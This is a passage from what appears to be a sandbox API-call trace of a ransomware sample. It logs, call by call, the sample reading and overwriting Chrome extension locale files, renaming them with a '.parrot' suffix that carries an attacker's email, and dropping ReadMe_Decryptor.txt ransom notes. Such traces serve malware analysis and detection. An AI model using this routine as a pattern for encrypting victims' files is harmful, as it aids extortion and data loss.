hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe1, lpOverlapped=0x0) returned 1 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0056.728] GetLastError () returned 0x0 [0056.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0056.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0056.729] WriteFile (in: hFile=0x288, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0056.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0056.730] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.730] CloseHandle (hObject=0x288) returned 1 [0056.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0056.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0056.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0056.731] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0056.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b3f0 | out: hHeap=0x5b0000) returned 1 [0056.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0056.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0056.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0056.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.733] GetFileType (hFile=0x288) returned 0x1 [0056.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0056.743] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.744] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.744] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0056.744] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69b3f0 [0056.744] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a4df20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.744] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.744] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a4df20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0056.744] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.744] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0056.744] lstrcmpW (lpString1="hi", lpString2=".") returned 1 [0056.744] lstrcmpW (lpString1="hi", lpString2="..") returned 1 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0056.745] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.745] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.745] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.745] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.745] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.745] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0x123 [0056.745] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23b, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.746] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.746] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x123, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x123, lpOverlapped=0x0) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0056.747] GetLastError () returned 0x0 [0056.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0400 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x248) returned 0x5d0548 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0400 | out: hHeap=0x5b0000) returned 1 [0056.748] WriteFile (in: hFile=0x288, lpBuffer=0x5d0548*, nNumberOfBytesToWrite=0x248, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0548*, lpNumberOfBytesWritten=0x18da44*=0x248, lpOverlapped=0x0) returned 1 [0056.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0548 | out: hHeap=0x5b0000) returned 1 [0056.748] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.748] CloseHandle (hObject=0x288) returned 1 [0056.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0400 [0056.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0538 [0056.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0400 | out: hHeap=0x5b0000) returned 1 [0056.749] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0538 | out: hHeap=0x5b0000) returned 1 [0056.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b578 | out: hHeap=0x5b0000) returned 1 [0056.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01a8 | out: hHeap=0x5b0000) returned 1 [0056.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0056.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0056.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.818] GetFileType (hFile=0x288) returned 0x1 [0056.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0056.828] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0056.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.828] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69b578 [0056.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0b32760, ftCreationTime.dwHighDateTime=0x1d5e09d, 